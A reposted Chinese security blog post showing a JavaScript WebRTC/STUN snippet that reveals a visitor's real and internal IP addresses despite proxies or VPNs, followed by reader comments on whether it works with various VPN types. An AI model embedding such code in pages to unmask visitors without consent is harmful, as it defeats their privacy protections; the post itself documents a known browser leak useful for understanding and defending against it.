JS绕过代理、VPN获取真实IP及内网IP,逆向追踪

admin 2021年4月2日20:29:44评论1,464 views字数 1839阅读6分7秒阅读模式

Firefox 跟 Chrome支持WebRTC可以向STUN服务器请求,返回内外网IP,不同于XMLHttpRequest请求,STUN请求开发者工具当中看不到网络请求的。

//get the IP addresses associated with an account
function getIPs(callback){
    var ip_dups = {};

    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };

    //firefox already has a default stun server in about:config
    //    media.peerconnection.default_iceservers =
    //    [{"url": "stun:stun.services.mozilla.com"}]
    var servers = undefined;

    //add same stun server for chrome
    if(window.webkitRTCPeerConnection)
        servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);

    //listen for candidate events
    pc.onicecandidate = function(ice){

        //skip non-candidate events
        if(ice.candidate){

            //match just the IP address
            var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];

            //remove duplicates
            if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);

            ip_dups[ip_addr] = true;
        }
    };

    //create a bogus data channel
    pc.createDataChannel("");

    //create an offer sdp
    pc.createOffer(function(result){

        //trigger the stun server request
        pc.setLocalDescription(result, function(){});

    }, function(){});
}

//Test: Print the IP addresses into the console
getIPs(function(ip){console.log(ip);});

本地测试了一下,挂上VPN的效果……

From: https://github.com/diafygi/webrtc-ips 

吐槽

ACGT | 2015-01-27 13:19

这不就是两年前的东西被重写了一遍吗 https://github.com/natevw/ipcalf/

而且要获取内网IP不需要stun server,iceServers留空就可以,也就是说客户端浏览器不能连接外网也没关系

留言评论(旧系统):

cccc @ 2015-01-29 11:59:21

openvpn、思科vpn、pptp,都能穿?

本站回复:

自己测试一下不就知道了么~

佚名 @ 2015-02-01 19:40:01

感觉文中和吐槽的还不是一个东西,试了一下,随便挂一个Socks代理,文中叙述的可以准确获取真实外网IP,吐槽里的就返回了代理的IP,技术还是有进步的。

本站回复:

嗯。

佚名 @ 2015-02-04 23:34:39

请在这里填写留言内容,最长不超过 1000 字。

本站回复:

[暂无回复]

echotxl @ 2015-02-04 23:35:47

使用ssl VPN测试无效,还是显示的是代理的iP

本站回复:

这个玩意儿仅供参考。

文章来源于lcx.cc:JS绕过代理、VPN获取真实IP及内网IP,逆向追踪

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月2日20:29:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JS绕过代理、VPN获取真实IP及内网IP,逆向追踪https://cn-sec.com/archives/317519.html

发表评论

匿名网友 填写信息